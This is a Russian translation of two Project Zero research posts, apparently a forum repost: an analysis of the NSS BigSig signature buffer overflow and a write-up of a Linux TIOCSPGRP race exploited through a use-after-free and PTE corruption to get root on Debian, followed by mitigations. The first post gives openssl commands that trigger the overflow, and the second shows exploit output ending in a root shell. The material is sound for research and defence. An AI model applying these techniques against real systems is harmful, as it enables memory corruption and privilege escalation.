Сигнатура максимального размера, которую обрабатывает эта структура, равна наибольшему элементу объединения, здесь это RSA в [2048 байтов](https://searchfox.org/mozilla- central/rev/f8576fec48d866c5f988baaf1fa8d2f8cce2a82f/security/nss/lib/freebl/blapit.h#139), то есть 16 384 бита. Это достаточно много, чтобы вместить сигнатуры даже невероятно больших ключей. А что, если сделать сигнатуру больше этой? Произойдёт повреждение памяти. Да, так есть. Ненадёжная сигнатура просто копируется в этот буфер фиксированного размера, перезаписывая соседние элементы произвольными данными, которые контролируются злоумышленником.
Баг прост в воспроизведении и влияет на несколько алгоритмов. Проще всего показать RSA-PSS:
Code:Copy to clipboard
# We need 16384 bits to fill the buffer, then 32 + 64 + 64 + 64 bits to overflow to hashobj,
# which contains function pointers (bigger would work too, but takes longer to generate).
$ openssl genpkey -algorithm rsa-pss -pkeyopt rsa_keygen_bits:$((16384 + 32 + 64 + 64 + 64)) -pkeyopt rsa_keygen_primes:5 -out bigsig.key
# Generate a self-signed certificate from that key
$ openssl req -x509 -new -key bigsig.key -subj "/CN=BigSig" -sha256 -out bigsig.cer
# Verify it with NSS...
$ vfychain -a bigsig.cer
Уязвимость BigSig за три простых команд
Код, который вызывает повреждение, зависит от алгоритма. [Вот код](https://searchfox.org/mozilla- central/rev/f8576fec48d866c5f988baaf1fa8d2f8cce2a82f/security/nss/lib/cryptohi/secvfy.c#477) для RSA-PSS. Баг заключается в том, что проверки границ просто нет вообще: sig и key — это большие двоичные объекты произвольной длины, контролируемые злоумышленником, а cx->u — это буфер фиксированного размера:
Code:Copy to clipboard
case rsaPssKey:
sigLen = SECKEY_SignatureLen(key);
if (sigLen == 0) {
/* error set by SECKEY_SignatureLen */
rv = SECFailure;
break;
}
if (sig->len != sigLen) {
PORT_SetError(SEC_ERROR_BAD_SIGNATURE);
rv = SECFailure;
break;
}
PORT_Memcpy(cx->u.buffer, sig->data, sigLen);
break;
Уязвимость вызывает ряд вопросов:
Это не сбой процесса: вендор всё сделал правильно. В Mozilla работают специалисты мирового класса по обеспечению безопасности. Они первыми внедрили программу вознаграждений за обнаруженные уязвимости, вкладываются в обеспечение безопасной работы с памятью, автоматизацию тестирования безопасности и покрытие кода тестами.
NSS был одним из первых проектов, включённых в oss- fuzz: по крайней мере поддерживался официально с [октября 2014](https://github.com/google/oss- fuzz/commit/3d325bf20f0b09961b6c7de34aa4da0d16cfa67d) года. В Mozilla сами также проводят автоматизацию тестирования безопасности NSS с помощью libFuzzer и представили собственную коллекцию [методов-модификаторов](https://searchfox.org/mozilla- central/source/security/nss/fuzz/asn1_mutators.cc), а также основу корпуса покрытия. Есть обширный тестовый комплект и ночные сборки [ASAN](https://firefox-source- docs.mozilla.org/tools/sanitizer/asan.html).
Я в общем скептически отношусь к статическому анализу, но это похоже на простую недостающую проверку границ, которую должно быть легко найти. Coverity отслеживает NSS по крайней мере с декабря 2008 года и тоже, кажется, не смогла обнаружить уязвимость.
До 2015 года в Google Chrome использовали NSS и поддерживали собственную инфраструктуру тестового комплекта и автоматизации тестирования безопасности, независимую от Mozilla. Сегодня в платформах Chrome используется BoringSSL, но порт NSS ещё поддерживается.
Экспериментировал с альтернативными методами измерения покрытия кода, чтобы узнать, можно ли их как-то использовать на практике в автоматизации тестирования безопасности. В технике тестирования, с помощью которой удалось обнаружить эту уязвимость, применялось сочетание двух подходов: покрытие стека и выделение объектов.
Самый распространённый метод измерения покрытия кода — покрытие блоков или [покрытие границ](https://clang.llvm.org/docs/SanitizerCoverage.html#edge- coverage), когда доступен исходный код. Интересно, всегда ли этого достаточно? Например, возьмём простую таблицу диспетчеризации с сочетанием надёжных и ненадёжных параметров, как показано в листинге:
Code:Copy to clipboard
#include <stdio.h>
#include <string.h>
#include <limits.h>
static char buf[128];
void cmd_handler_foo(int a, size_t b) { memset(buf, a, b); }
void cmd_handler_bar(int a, size_t b) { cmd_handler_foo('A', sizeof buf); }
void cmd_handler_baz(int a, size_t b) { cmd_handler_bar(a, sizeof buf); }
typedef void (* dispatch_t)(int, size_t);
dispatch_t handlers[UCHAR_MAX] = {
cmd_handler_foo,
cmd_handler_bar,
cmd_handler_baz,
};
int main(int argc, char **argv)
{
int cmd;
while ((cmd = getchar()) != EOF) {
if (handlers[cmd]) {
handlers[cmd](getchar(), getchar());
}
}
}
Покрытие команды bar — это надмножество команды foo, поэтому ввод, содержащий foo, будет отброшен при минимизации корпуса. Есть уязвимость, недоступная через команду bar, которая может быть не обнаружена никогда. Покрытие стека корректно сохранит оба ввода[1](https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have- happened.html#ftnt1) .
Чтобы решить эту проблему, я отслеживал стек вызовов во время выполнения.
Наивная реализация слишком медленная, но после многих оптимизаций я создал практичную библиотеку, достаточно быструю, чтобы интегрировать её в автоматизацию тестирования безопасности, ориентированную на покрытие. Я тестировал, как она работает с NSS и другими библиотеками.
Многие типы данных создаются из записей меньшего размера. Файлы PNG состоят из фрагментов, файлы PDF — из потоков, файлы ELF — из разделов, а сертификаты X.509 — из элементов ASN.1 TLV. Если в технике тестирования заложено представление о базовом формате, то с её помощью можно выделить эти записи и извлечь те, что приводят к обнаружению новой трассировки стека.
Техника тестирования, которую я использовал, способна выделять и извлекать интересные новые идентификаторы объекта ASN.1, последовательности SEQUENCE, целые числа INTEGER и т. д. После извлечения они могут случайным образом комбинироваться или вставляться в данные шаблона. На самом деле идея не новая, новая — реализация. Планирую в будущем сделать этот код общедоступным.
Возможно, обнаружение этого бага подтверждает мои идеи, но я не уверен, что это так. Я проводил относительно новую автоматизацию тестирования безопасности, но не вижу причин, почему этот баг не мог быть обнаружен раньше даже с помощью простейших методов тестирования.
Как обширная, настраиваемая автоматизация тестирования безопасности с впечатляющими показателями покрытия не выявила этот баг?
NSS — [модульная](https://developer.mozilla.org/en- US/docs/Mozilla/Projects/NSS/NSS_API_Guidelines) библиотека. Многоуровневый дизайн отражён в подходе автоматизации тестирования безопасности, ведь каждый компонент тестируется независимо. Например, декодер [QuickDER](https://developer.mozilla.org/en- US/docs/Mozilla/Projects/NSS/NSS_Tech_Notes/nss_tech_note1#how_to_use_the_nss_asn.1_and_quickder_decoders) проходит расширенное тестирование, но при использовании техники тестирования объекты просто создаются, отбрасываются и никогда не используются:
Code:Copy to clipboard
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {
char *dest[2048];
for (auto tpl : templates) {
PORTCheapArenaPool pool;
SECItem buf = {siBuffer, const_cast<unsigned char *>(Data),
static_cast<unsigned int>(Size)};
PORT_InitCheapArena(&pool, DER_DEFAULT_CHUNKSIZE);
(void)SEC_QuickDERDecodeItem(&pool.arena, dest, tpl, &buf);
PORT_DestroyCheapArena(&pool);
}
При использовании техники тестирования QuickDER объекты просто создаются и
отбрасываются. Так проверяется синтаксический анализ ASN.1, но не корректность
работы с получаемыми объектами других компонентов.
С этой техникой тестирования можно было создать SECKEYPublicKey, который бы
достал в уязвимый код. Но баг так и не был бы обнаружен, ведь результат
никогда не использовался для проверки сигнатуры.
Для ввода автоматизированного тестирования задаётся произвольное ограничение в
10 000
байтов. В NSS
такого ограничения нет: у многих структур этот размер возможно превысить. В
случае с этой уязвимостью ошибки происходят на границах, поэтому ограничение
следует выбирать с умом.
Приемлемым вариантом может быть 224–1 байтов, т. е. максимально
возможный
сертификат, предоставляемый сервером во время согласования рукопожатия TLS.
Хотя в NSS обрабатываются объекты даже большего размера, TLS задействовать
нельзя, а это снижает общую степень серьёзности любых пропущенных уязвимостей.
Все техники тестирования NSS представлены в объединённых показателях покрытия
oss-fuzz, а не в их индивидуальных покрытиях. Эти данные оказались неверными,
так как уязвимый код проходит расширенное автоматизированное тестирование, но
с помощью техник тестирования, которые не могли генерировать соответствующие
входные данные.
Почему? Потому что в техниках тестирования типа
tls_server_target
используются фиксированные, жёстко
заданные
сертификаты. При этом выполняется код, относящийся к проверке сертификата, но
проводится автоматизированное тестирование лишь сообщений TLS и изменений
состояния протокола.
Сложно сказать, удача это или нет. Вероятно, RSA-PSS в mozilla::pkix будет разрешён.
Эта проблема свидетельствует о том, что даже в очень хорошо поддерживаемом C/C++ могут быть фатальные, простейшие ошибки.
Эта уязвимость, CVE-2021-43527, закрыта в NSS 3.73.0. Если вы вендор, распространяющий NSS в своих продуктах, то вам, скорее всего, потребуется заменить библиотеку или применить патч.
Я бы не смог найти этот баг без помощи коллег из Chrome, Райана Слеви и Дэвида
Бенджамина, которые помогли ответить на мои вопросы о кодировании ASN.1 и
приняли участие в содержательном обсуждении этой темы.
Спасибо команде NSS, которая помогла проанализировать и разобраться с
уязвимостью.
Сноска
[[1]](https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-
happened.html#ftnt_ref1) В этом игрушечном примере решением, если бы был
доступен исходник, имело бы место комбинирование опций инструментирования
потока данных sancov, но в более сложных вариантах это тоже не срабатывает.
[Автор оригинала: Tavis
Ormandy](https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-
happened.html)
перевод @honyaki
В этом посте описывается простой в реализации баг блокировки ядра Linux и то, как я использовал его против ядра Debian Buster 4.19.0-13-amd64. В посте рассматриваются варианты устранения бага, препятствующие или усложняющие использование подобных проблем злоумышленниками.
Я надеюсь, что подробный разбор такого эксплойта и его публикация помогут при определении относительной полезности различных подходов к его устранению.
Многие описанные здесь отдельные техники эксплойтов и варианты их устранения не новы. Однако я считаю, что стоит объединить их в одну статью, чтобы показать, как различные способы устранения взаимодействуют друг с другом на примере достаточно стандартного эксплойта с использованием освобождённой памяти.
В нашем багтрекере этот баг вместе с proof of concept сохранён по адресу.
Приведённые в этом посте фрагменты кода эксплойта взяты из релиза 4.19.160, потому что на нём основано ядро Debian, на которое была нацелена атака; некоторые другие фрагменты кода взяты из основной ветви Linux.
(Для любопытствующих: баг и ядро Debian датированы концом прошлого года потому, что я написал основную часть этого поста примерно в апреле, но завершил его только недавно.)
Мне хотелось бы поблагодарить Райана Хайлмена за наши разговоры о том, как статический анализ может испоьзоваться в статическом предотвращении багов безопасности (но учтите, что Райан не проверял этот пост и может быть несогласен с какими-то моими суждениями). Также я хочу поблагодарить Kees Cook за отзывы о ранних версиях этого поста (здесь я тоже должен сказать, что он необязательно согласен со всем написанным) и моих коллег из Project Zero за вычитку этого поста и активные обсуждения способов предотвращения эксплойтов.
В Linux терминальные устройства (например, последовательная консоль или виртуальная консоль) представлены структурой struct tty_struct. Среди прочего, эта структура содержит поля, используемые для функций [управления заданиями](https://www.gnu.org/software/libc/manual/html_node/Job- Control.html) терминалов, которые обычно изменяются при помощи набора ioctls:
Code:Copy to clipboard
struct tty_struct {
[...]
spinlock_t ctrl_lock;
[...]
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
[...]
struct tty_struct *link;
[...]
}[...];
Поле pgrp указывает на группу приоритетных процессов терминала (обычно изменяемую из пользовательского пространства через ioctl TIOCSPGRP); поле session указывает на сессию, которая связана с терминалом. Оба этих поля указывают не напрямую на процесс/задачу, а на struct pid. struct pid привязывает конкретную копию числового ID к множеству процессов, которые используют этот ID в качестве своего PID (в пользовательском пространстве известного так же как TID), TGID (в пользовательском пространстве известного так же как PID), PGID или SID. Можно считать это слабой ссылкой на процесс, хоть это и не совсем точно. (Есть и другие нюансы struct pid, связанные с тем, когда execve() вызывается не главным потоком, но здесь они не важны.)
Все процессы, работающие внутри терминала и подчинённые управлению заданиями, обращаются к этому терминалу как их «контролирующему терминалу» (хранимому в ->signal->tty процесса).
Особым видом терминального устройства являются
псевдотерминалы,
используемые когда, например, вы открываете терминальное приложение в
графическом окружении или подключаетесь к удалённой машине через SSH. Другие
терминальные устройства подключаются к какому-то оборудованию, а оба конца
псевдотерминала управляются пользовательским пространством; псевдотерминалы
могут свободно создаваться пользовательским пространством
(непривилегированным). Каждый раз, когда открывается
/dev/ptmx (сокращение от
«pseudoterminal multiplexor»), получаемый дескриптор файла представляет
сторону устройства (называемую в документации и исходниках ядра
"pseudoterminal master")
нового псевдотерминала. Можно выполнять из него считывание, чтобы получать
данные, которые должны выводиться на эмулируемый экран, и записывать в него,
чтобы эмулировать ввод с клавиатуры. Соответствующее терминальное устройство
(к которому обычно подключается оболочка) автоматически создаётся ядром в
/dev/pts/
Особенную странность псевдотерминалам придаёт то, что оба конца псевдотерминала имеют собственные struct tty_struct, которые указывают друг на друга при помощи элемента link, даже если сторона устройства псевдотерминала не имеет таких функций терминала, как управление заданиями, поэтому многие элементы не используются.
Многие ioctls для управления терминалом могут вызываться на обоих концах псевдотерминала; но с какого бы конца их не вызвали, они влияют на одно и то же состояние, иногда с незначительными отличиями в поведении. Например, вот обработчик ioctl для TIOCGPGRP:
Code:Copy to clipboard
/**
* tiocgpgrp - get process group
* @tty: tty passed by user
* @real_tty: tty side of the tty passed by the user if a pty else the tty
* @p: returned pid
*
* Obtain the process group of the tty. If there is no process group
* return an error.
*
* Locking: none. Reference to current->signal->tty is safe.
*/
static int tiocgpgrp(struct tty_struct *tty, struct tty_struct *real_tty, pid_t __user *p)
{
struct pid *pid;
int ret;
/*
* (tty == real_tty) is a cheap way of
* testing if the tty is NOT a master pty.
*/
if (tty == real_tty && current->signal->tty != real_tty)
return -ENOTTY;
pid = tty_get_pgrp(real_tty);
ret = put_user(pid_vnr(pid), p);
put_pid(pid);
return ret;
}
Как задокументировано в комментарии, эти обработчики получают указатель real_tty, указывающий на обычное терминальное устройство; дополнительный указатель tty передаётся для того, чтобы его можно использовать для определения стороны терминала, с которой изначально вызывался ioctl. Как видно из этого примера, указатель tty обычно вызывается только для таких операций, как сравнение указателей. В этом случае он используется для того, чтобы TIOCGPGRP не работал, когда его вызывает на стороне терминала процесс, для которого этот терминал не является контролирующим.
Примечание: если вы хотите узнать больше о том, как должны работать терминалы и управление заданиями, то в книге «The Linux Programming Interface» есть понятное введение в то, как должны работать эти старые части API пользовательского пространства. Однако в ней не описываются внутренности ядра, потому что она написана как справочное руководство по программированию в пользовательском пространстве. К тому же она написана в 2010 году, поэтому в ней нет ничего о новых API, появившихся за последнее десятилетие.
Баг находился в обработчике ioctl tiocspgrp
:
Code:Copy to clipboard
/**
* tiocspgrp - attempt to set process group
* @tty: tty passed by user
* @real_tty: tty side device matching tty passed by user
* @p: pid pointer
*
* Set the process group of the tty to the session passed. Only
* permitted where the tty session is our session.
*
* Locking: RCU, ctrl lock
*/
static int tiocspgrp(struct tty_struct *tty, struct tty_struct *real_tty, pid_t __user *p)
{
struct pid *pgrp;
pid_t pgrp_nr;
[...]
if (get_user(pgrp_nr, p))
return -EFAULT;
[...]
pgrp = find_vpid(pgrp_nr);
[...]
spin_lock_irq(&tty->ctrl_lock);
put_pid(real_tty->pgrp);
real_tty->pgrp = get_pid(pgrp);
spin_unlock_irq(&tty->ctrl_lock);
[...]
}
Элемент pgrp стороны терминала (real_tty) изменяется и количество ссылок старой и новой группы процессов соответствующим образом регулируется при помощи put_pid и get_pid; однако блокировка выполняется на tty, который может быть любым из концов псевдотерминальной пары, в зависимости от того, какой дескриптор файла мы передаём ioctl(). То есть одновременно вызвав ioctl TIOCSPGRP на обеих сторонах псевдотерминала, мы можем вызвать гонку данных между параллельными доступами к элементу pgrp. Это может привести к тому что количество ссылок будет искажено при помощи следующих гонок:
Code:Copy to clipboard
ioctl(fd1, TIOCSPGRP, pid_A) ioctl(fd2, TIOCSPGRP, pid_B)
spin_lock_irq(...) spin_lock_irq(...)
put_pid(old_pid)
put_pid(old_pid)
real_tty->pgrp = get_pid(A)
real_tty->pgrp = get_pid(B)
spin_unlock_irq(...) spin_unlock_irq(...)
Code:Copy to clipboard
ioctl(fd1, TIOCSPGRP, pid_A) ioctl(fd2, TIOCSPGRP, pid_B)
spin_lock_irq(...) spin_lock_irq(...)
put_pid(old_pid)
put_pid(old_pid)
real_tty->pgrp = get_pid(B)
real_tty->pgrp = get_pid(A)
spin_unlock_irq(...) spin_unlock_irq(...)
В обоих случаях, для refcount старого struct pid слишком много выполняется декремент на 1, а для A или B слишком много выполняется инкремент на 1.
Разобравшись с этой проблемой, кажется, что устранить её можно очевидным образом:
Code:Copy to clipboard
if (session_of_pgrp(pgrp) != task_session(current))
goto out_unlock;
retval = 0;
- spin_lock_irq(&tty->ctrl_lock);
+ spin_lock_irq(&real_tty->ctrl_lock);
put_pid(real_tty->pgrp);
real_tty->pgrp = get_pid(pgrp);
- spin_unlock_irq(&tty->ctrl_lock);
+ spin_unlock_irq(&real_tty->ctrl_lock);
out_unlock:
rcu_read_unlock();
return retval;
В этом разделе я сначала расскажу, как работает мой эксплойт; далее я объясню различные защитные техники, нацеленные на эти этапы атаки.
Этот баг позволяет нам вероятностным образом уменьшить refcount struct pid, и это зависит от того, как происходит гонка: мы можем многократно запускать конкурирующие вызовы TIOCSPGRP из двух потоков, и время от времени это будет искажать refcount. Но мы не можем сразу же узнать, сколько раз произошло искажение refcount.
Мы как нападающий стремимся к тому, чтобы искажать refcount детерминированным образом. Нам каким-то образом нужно компенсировать недостаток информации о том, был ли успешно искажён refcount. Мы можем попытаться как-нибудь сделать гонку детерминированной (эта задача кажется сложной), или после каждой попытки искажения refcount предполагать, что гонка выполнена успешно, после чего выполнять оставшуюся часть эксплойта (так как если мы не исказили refcount, исходное повреждение памяти исчезло и ничего плохого не произойдёт), или мы можем попытаться найти утечку информации, позволяющую понять нам состояние количества ссылок.
В типичных десктопных/серверных дистрибутивах работает следующий подход (он ненадёжен и зависит от размера ОЗУ) для обеспечения освобождённого struct pid несколькими висящими ссылками:
Так как в начале этапа 5 refcount меньше, чем количество ссылок, которые мы сбросим, на этапе 5 pid будет освобождён; следующая попытка сбросить ссылку приведёт к использованию освобождённой памяти:
Code:Copy to clipboard
struct upid {
int nr;
struct pid_namespace *ns;
};
struct pid
{
atomic_t count;
unsigned int level;
/* lists of tasks that use this pid */
struct hlist_head tasks[PIDTYPE_MAX];
struct rcu_head rcu;
struct upid numbers[1];
};
[...]
void put_pid(struct pid *pid)
{
struct pid_namespace *ns;
if (!pid)
return;
ns = pid->numbers[pid->level].ns;
if ((atomic_read(&pid->count) == 1) ||
atomic_dec_and_test(&pid->count)) {
kmem_cache_free(ns->pid_cachep, pid);
put_pid_ns(ns);
}
}
При освобождении объекта распределитель SLUB обычно заменяет первые 8 байтов (примечание: начиная с 5.7 выбирается другая позиция, [см. блог Kees](https://outflux.net/blog/archives/2020/09/21/security-things-in- linux-v5-7/#v5.7-slub)) освобождённого объекта на обфусцированный XOR указатель списка свободной памяти; следовательно, поля count и level, по сути, содержат теперь случайный мусор. Это значит, что нагрузка из pid->numbers[pid->level] теперь будет находиться на каком-то случайном смещении от pid, в интервале от нуля до 64 ГиБ. Если у машины нет огромного количества ОЗУ, то это с большой вероятностью вызовет ошибку сегментации ядра. (Да, я понимаю, что это совершенно неудобный и ненадёжный способ эксплойта. Однако чаще всего он срабатывает, и я заметил эту проблему только когда написал статью целиком, поэтому не хотел переписывать её.)
Linux находится в его стандартной конфигурации, а конфигурация, поставляемая большинством дистрибутивов общего назначения, пытается устранить неожиданные ошибки отсутствия страниц ядра и другие неполадки убиванием только сбойного потока. Следовательно, здесь ошибки отсутствия страницы ядра действительно нам полезны в качестве сигнала: после смерти потока мы знаем, что объект освобождён и мы можем продолжать выполнение эксплойта.
Если бы этот код выглядел немного иначе и мы действительно бы достигли двойного освобождения, распределитель SLUB тоже бы это обнаружил и вызвал обработку сбоя ядра (см. set_freepointer() для случая CONFIG_SLAB_FREELIST_HARDENED).
уровне SLUB
В ядре Debian, которое я изучал, struct pid в исходном пространстве имён
выделяется из того же kmem_cache
, что и struct seq_file
с struct epitem
— эти три slab'а были объединены в один функцией find_mergeable()
для
снижения фрагментирования памяти, потому что их размеры объектов, требования к
выравниванию и флаги совпадают:
Code:Copy to clipboard
root@deb10:/sys/kernel/slab# ls -l pid
lrwxrwxrwx 1 root root 0 Feb 6 00:09 pid -> :A-0000128
root@deb10:/sys/kernel/slab# ls -l | grep :A-0000128
drwxr-xr-x 2 root root 0 Feb 6 00:09 :A-0000128
lrwxrwxrwx 1 root root 0 Feb 6 00:09 eventpoll_epi -> :A-0000128
lrwxrwxrwx 1 root root 0 Feb 6 00:09 pid -> :A-0000128
lrwxrwxrwx 1 root root 0 Feb 6 00:09 seq_file -> :A-0000128
root@deb10:/sys/kernel/slab#
Простейший способ эксплойта висячей ссылки на объект SLUB заключался бы в
повторном выделении объекта через тот же kmem_cache
, откуда он взялся, так,
чтобы страница никогда не достигала распределителя памяти. Чтобы понять, легко
ли использовать этот баг таким образом, я создал таблицу, в которой
перечислены поля, встречающиеся на каждом смещении в этих трёх структурах
данных (при помощи pahole -E --hex -C <typename> <path to vmlinux debug info>
):
смещение| pid| eventpoll_epi / epitem (освобождён RCU)| seq_file
---|---|---|---
0x00| count.counter (4) (CONTROL)| rbn.__rb_parent_color (8)
(TARGET?)| buf (8) (TARGET?)
0x04| level (4)| |
0x08| tasks[PIDTYPE_PID] (8)| rbn.rb_right (8) / rcu.func (8)| size (8)
0x10| tasks[PIDTYPE_TGID] (8)| rbn.rb_left (8)| from (8)
0x18| tasks[PIDTYPE_PGID] (8)| rdllink.next (8)| count (8)
0x20| tasks[PIDTYPE_SID] (8)| rdllink.prev (8)| pad_until (8)
0x28| rcu.next (8)| next (8)| index (8)
0x30| rcu.func (8)| ffd.file (8)| read_pos (8)
0x38| numbers[0].nr (4)| ffd.fd (4)| version (8)
0x3c| [hole] (4)| nwait (4)|
0x40| numbers[0].ns (8)| pwqlist.next (8)| lock (0x20): counter (8)
0x48| ---| pwqlist.prev (8)|
0x50| ---| ep (8)|
0x58| ---| fllink.next (8)|
0x60| ---| fllink.prev (8)| op (8)
0x68| ---| ws (8)| poll_event (4)
0x6c| ---| | [hole] (4)
0x70| ---| event.events (4)| file (8)
0x74| ---| event.data (8) (CONTROL)|
0x78| ---| | private (8) (TARGET?)
0x7c| ---| ---|
0x80| ---| ---| ---
В этом случае повторное выделение объекта как одного из этих трёх типов не показалось мне удобным способом работы (однако приложив определённые усилия, мы, возможно, смогли бы это как-то использовать, например, при помощи count.counter повредив поле buf у seq_file). Кроме того, некоторые системы могут использовать флаг командной строки ядра slab_nomerge, который отключает это поведение слияния.
Ещё один подход, который я здесь не рассматривал, заключается в попытке повреждения обфусцированного указателя списка свободной памяти SLUB (обфускация реализована в freelist_ptr()); но поскольку он хранит указатель в big-endian, count.counter, по сути, позволит нам только старшую часть указателя, и использовать это будет крайне неудобно.
В этом разделе я буду ссылаться на внутреннее устройство распределителя SLUB; если вы не знакомы с ним, то рекомендую хотя бы посмотреть на слайды 2-4 и 13-14 в обзорном докладе Кристофа Ламетера 2014 года о распределителе slab'ов. (Стоит заметить, что в докладе освещаются три разных распределителя; сегодня в большинстве систем используется распределитель SLUB.)
Альтернативой использованию UAF на уровне распределителя SLUB является сброс страницы в распределитель страниц (также называемый buddy allocator), который является последним уровнем динамического распределения памяти в Linux (после того, как система достаточно далеко продвинулась в процессе загрузки и распределитель memblock больше не используется). Далее страница теоретически может оказаться практически в любом контексте. Сбросить страницу в распределитель страниц можно следующим образом:
Когда страницу передают распределителю страниц, мы получаем страницу нулевого порядка (4 КиБ, нативный размер страницы): для страниц нулевого порядка распределитель страниц имеет особые списки свободной памяти, по одному на каждое сочетание ЦП+зоны+migratetype. К страницам в этих списках в обычном состоянии не получают доступ другие ЦП, и они не объединяются мгновенно с соседними свободными страницами для создания свободных страниц более высокого порядка.
На этом этапе мы можем выполнять операции доступа для использования освобождённой памяти на какое-то смещение внутри свободной страницы-жертвы при помощи путей выполнения кода, интерпретирующих часть страницы-жертвы как struct pid. Стоит заметить, что на этом этапе мы всё ещё не знаем точно, на каком смещении внутри страницы-жертвы расположен объект-жертва.
На этапе, когда страница-жертва достигла списка свободной памяти распределителя страниц, игра, по сути, закончена — после этого страницу можно использовать как что угодно в системе, что даёт нам широкий выбор для эксплойтов. По моему мнению, большинство защит, действующих после того, как мы достигли этой точки, достаточно ненадёжны.
Один из типов распределения, который непосредственно передаётся из распределителя страниц и имеет подходящие свойства для эксплойта — это таблицы страниц (также они [использовались для эксплойта Rowhammer](https://googleprojectzero.blogspot.com/2015/03/exploiting-dram- rowhammer-bug-to-gain.html)). Одним из способов злонамеренного использования возможности модифицирования таблицы страниц будет включение бита чтения/записи в элементе таблицы страниц (page table entry, PTE), привязывающего файловую страницу, к которой мы должны иметь доступ только для чтения — например, это можно использовать для получения доступа на запись к части сегмента .text двоичного файла setuid и замены его зловредным кодом.
Мы не знаем, на каком смещении внутри страницы-жертвы находится объект-жертва; но поскольку таблица страниц, по сути, является массивом байт- синхронизированных элементов размером 8 байт, а привязка объекта-жертвы будет кратным восьми, если мы распределяем все элементы массива-жертвы, нам не нужно знать смещение объекта-жертвы.
Чтобы распределить таблицу страниц, заполненную PTE, привязывающим ту же файловую страницу, нам нужно:
struct pid имеет то же выравнивание, что и PTE, и начинается с 32-битного refcount, поэтому этот refcount гарантировано наложится на первую половину PTE, который имеет размерность 64 бит. Так как процессоры X86 little-endian, инкремент поля refcount в освобождённом struct pid выполняет инкремент младшей половины PTE, то есть, по сути, инкрементирует PTE. (За исключением пограничного случая, когда младшая половина имеет значение 0xffffffff, но в нашем случае это не так.)
Code:Copy to clipboard
struct pid: count | level | tasks[0] | tasks[1] | tasks[2] | ...
pagetable: PTE | PTE | PTE | PTE | ...
Следовательно, мы можем выполнить инкремент один из PTE многократным срабатыванием get_pid(), который пытается выполнить инкремент refcount освобождённого объекта. Это можно превратить в возможность записи в файловую страницу следующим образом:
Если позже ядро заметит бит Dirty, это может вызвать обратную запись, что приведёт к сбою ядра, если привязка не была настроена на запись. Следовательно, нам нужно сбросить бит Dirty. Мы не можем обеспечить надёжный декремент PTE, потому что put_pid() неэффективно выполняет доступ к pid->numbers[pid->level] даже когда refcount не снижается до нуля, но мы можем выполнить его инкремент на дополнительные 0x80-0x42=0x3e, то есть окончательное значение PTE по сравнению с исходным значением будет иметь дополнительный заданный бит 0x80, который ядро игнорирует.
После этого мы запускаем исполняемый файл setuid (который в версии в кэше страниц теперь содержит инъецированный нами код) и получаем права root:
Code:Copy to clipboard
user@deb10:~/tiocspgrp$ make
as -o rootshell.o rootshell.S
ld -o rootshell rootshell.o --nmagic
gcc -Wall -o poc poc.c
user@deb10:~/tiocspgrp$ ./poc
starting up...
executing in first level child process, setting up session and PTY pair...
setting up unix sockets for ucreds spam...
draining pcpu and node partial pages
preparing for flushing pcpu partial pages
launching child process
child is 1448
ucreds spam done, struct pid refcount should be lifted. starting to skew refcount...
refcount should now be skewed, child exiting
child exited cleanly
waiting for RCU call...
bpf load with rlim 0x0: -1 (Operation not permitted)
bpf load with rlim 0x1000: 452 (Success)
bpf load success with rlim 0x1000: got fd 452
....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
RCU callbacks executed
gonna try to free the pid...
double-free child died with signal 9 after dropping 9990 references (99%)
hopefully reallocated as an L1 pagetable now
PTE forcibly marked WRITE | DIRTY (hopefully)
clobber via corrupted PTE succeeded in page 0, 128-byte-allocation index 3, returned 856
clobber via corrupted PTE succeeded in page 0, 128-byte-allocation index 3, returned 856
bash: cannot set terminal process group (1447): Inappropriate ioctl for device
bash: no job control in this shell
root@deb10:/home/user/tiocspgrp# id
uid=0(root) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),113(scanner),120(wireshark)
root@deb10:/home/user/tiocspgrp#
Стоит заметить, что во всём этом эксплойте нам не приходилось получать утечки виртуальных или физических адресов ядра; частично это вызвано тем, что мы используеим примитив инкремента вместо обычной записи; кроме того, мы не воздействуем напрямую на указатель команд.
В этом разделе я опишу различные способы, при помощи которых можно предотвратить работу этого эксплойта. Для удобства пользователя в названиях подразделов будут встречаться отсылки на конкретные этапы эксплойтов, описанные выше.
Потенциальная первая линия защиты против многих проблем с безопасностью ядра заключается в том, чтобы сделать подсистемы ядра доступными только тому коду, которому к ним требуется доступ. Если у нападающего нет прямого доступа к уязвимой подсистеме и отсутствует достаточный уровень воздействия на системный компонент с доступом, позволяющим вызвать проблему, то из контекста безопасности атакующего проблему, по сути, невозможно эксплуатировать.
Псевдотерминалы в большей или меньшей степени необходимы только для интерактивного обслуживания пользователей, имеющих доступ к оболочке (или к чему-то напоминающему её), в том числе:
Таким пользователям, как веб-серверы или телефонные приложения обычно не нужен доступ к таким устройствам, но бывают и исключения. Например:
На мой взгляд, самыми сильными ограничениями уменьшения поверхности атаки являются:
Тем не менее, я считаю, что на практике механизмы уменьшения поверхности атаки (особенно seccomp) на данный момент являются одними из самых важных механизмов защиты в Linux.
Баг в TIOCSPGRP был довольно прямолинейным нарушением недвусмысленного правила блокировки: пока tty_struct жива, доступ к её элементу pgrp запрещён, если только не используется ctrl_lock той же tty_struct. Это правило достаточно просто, поэтому вполне логично ожидать, что компилятор сможет проверить его выполнение, если только каким-то образом мы сообщим компилятору об этом правиле, ведь определение нужных правил блокировки изучением кода часто может быть сложным даже для людей (особенно когда часть кода некорректна).
При создании нового проекта с нуля [лучше всего решать эту проблему использованием языка, безопасного при работе с памятью](https://alexgaynor.net/2019/aug/12/introduction-to-memory-unsafety- for-vps-of-engineering/) — другими словами, языка, который специально проектировался так, чтобы программист был обязан предоставить компилятору достаточно информации о необходимой семантике безопасности памяти и компилятор мог автоматически её верифицировать.
Функция Thread Safety Analysis компилятора Clang делает нечто приблизительно похожее на то, что нам нужно для проверки блокировки в этой ситуации:
Code:Copy to clipboard
$ nl -ba -s' ' thread-safety-test.cpp | sed 's|^ ||'
1 struct __attribute__((capability("mutex"))) mutex {
2 };
3
4 void lock_mutex(struct mutex *p) __attribute__((acquire_capability(*p)));
